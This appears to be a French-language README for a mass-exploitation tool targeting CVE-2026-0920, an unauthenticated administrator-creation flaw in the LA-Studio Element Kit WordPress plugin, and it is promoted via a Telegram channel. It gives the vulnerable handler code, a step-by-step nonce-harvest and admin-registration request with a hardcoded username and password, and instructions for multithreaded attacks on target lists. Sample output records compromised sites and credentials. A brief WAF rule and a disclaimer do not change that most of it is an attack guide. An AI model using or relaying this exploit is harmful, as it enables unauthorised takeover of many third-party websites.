
LA-Studio Element Kit for Elementor <= 1.5.6.3 - Élévation de privilèges non authentifiée via une porte dérobée permettant la création d'un utilisateur administrateur via le paramètre lakit_bkrole
LA-Studio Element Kit pour Elementor <= 1.5.6.3 - Élévation de privilèges non authentifiée via backdoor permettant la création d'un utilisateur administrateur via le paramètre lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 L'exploit est publié ici en premier. Suivez @KNxploited sur Telegram — votre flux d'élite pour les CVE fraîchement divulguées, les PoC fonctionnels et la recherche en sécurité de précision. Mis à jour sans relâche. Conçu pour ceux qui gardent une longueur d'avance.
CVE-2026-0920 est une vulnérabilité critique avec un score CVSS de 9.8 découverte dans le plugin WordPress LA-Studio Element Kit for Elementor.
Le défaut se situe dans la fonction ajax_register_handle(), qui traite les inscriptions d'utilisateurs non authentifiés via AJAX. La fonction n'impose aucune restriction sur le paramètre lakit_bkrole — permettant à un attaquant totalement non authentifié de s'attribuer lui-même le rôle administrator lors de l'inscription, réalisant ainsi une prise de contrôle complète de l'administration WordPress en une seule requête.
La cause racine est l'absence de vérification des capacités du rôle dans le gestionnaire d'inscription AJAX du plugin :
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
Pourquoi c'est critique :
wp_ajax_nopriv_* = accessible par n'importe qui sans aucune authentificationlakit_bkrole accepte n'importe quelle chaîne de rôle WordPress — y compris administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| Dépendance | Objectif |
|---|---|
requests | Requêtes HTTP, gestion de session, gestion des cookies |
Python 3.10+ recommandé (utilise les annotations de type union
str | None).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
Ouvrez CVE-2026-0920.py et modifiez les constantes en haut du fichier pour définir les détails de votre compte administrateur :
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
Créez list.txt avec une URL cible par ligne :
https://target1.com
https://target2.com
http://target3.com
Les URL sans schéma reçoivent automatiquement le préfixe
https://.
python CVE-2026-0920.py
Vous serez invité à saisir :
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
Le script produit une sortie terminal en temps réel, avec code couleur :
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| Couleur | Signification |
|---|
Les exploits réussis sont écrits dans success_results.txt :
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
Chaque ligne contient le tableau complet : cible, identifiants, statut de connexion, statut de la réponse AJAX et le nonce utilisé.
Le script effectue une vérification en deux étapes pour éliminer les faux positifs :
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
Cela élimine les faux positifs causés par les sites qui renvoient 200 OK sur AJAX mais échouent silencieusement l'inscription.
L'exploit génère ce schéma réseau spécifique — pour les défenseurs et les auteurs de WAF :
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
Règle WAF / IDS (pseudocode) :
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
Si vous êtes propriétaire de site, développeur ou défenseur, agissez immédiatement :
admin-ajax.php contenant lakit_bkrolelakit_ajaxTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Pseudo | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Suivez @KNxploited sur Telegram CVE fraîches. Exploits fonctionnels. Recherche de vulnérabilités approfondie. Premiers informés. Premiers à agir. Ne soyez pas le dernier.
| Champ | Détails |
|---|
| ID CVE | CVE-2026-0920 |
| Plugin | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| Versions affectées | Toutes les versions jusqu'à la 1.5.6.3 incluse |
| Type de vulnérabilité | Élévation de privilèges non authentifiée / Création d'administrateur |
| Vecteur d'attaque | Réseau — Aucune authentification requise |
| Score CVSS 3.1 | 9.8 CRITIQUE |
| Vecteur CVSS | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Impact | Prise de contrôle totale de l'administrateur WordPress |
| Chercheur | Nxploited |
colorama| Sortie terminal colorée sur toutes les plateformes |
threading | Traitement concurrent de plusieurs cibles |
re | Extraction du nonce par expressions régulières depuis le HTML/JS |
🔵 Cyan [*] | Informations — étape en cours |
🟢 Vert [+] | Signal positif — succès partiel ou complet |
🟡 Jaune [!] | Avertissement — résultat ambigu, à vérifier |
🔴 Rouge [-] | Échec — cible non exploitable ou erreur |
| Paramètre | Défaut | Description |
|---|
| Fichier de cibles | list.txt | Fichier contenant les URL cibles |
| Threads | 10 (max : 50) | Workers concurrents |
ADMIN_EMAIL | [email protected] | E-mail du compte administrateur injecté |
ADMIN_PASSWORD | adminSA | Mot de passe du compte administrateur injecté |
ADMIN_USERNAME | Nx_admin | Nom d'utilisateur du compte administrateur injecté |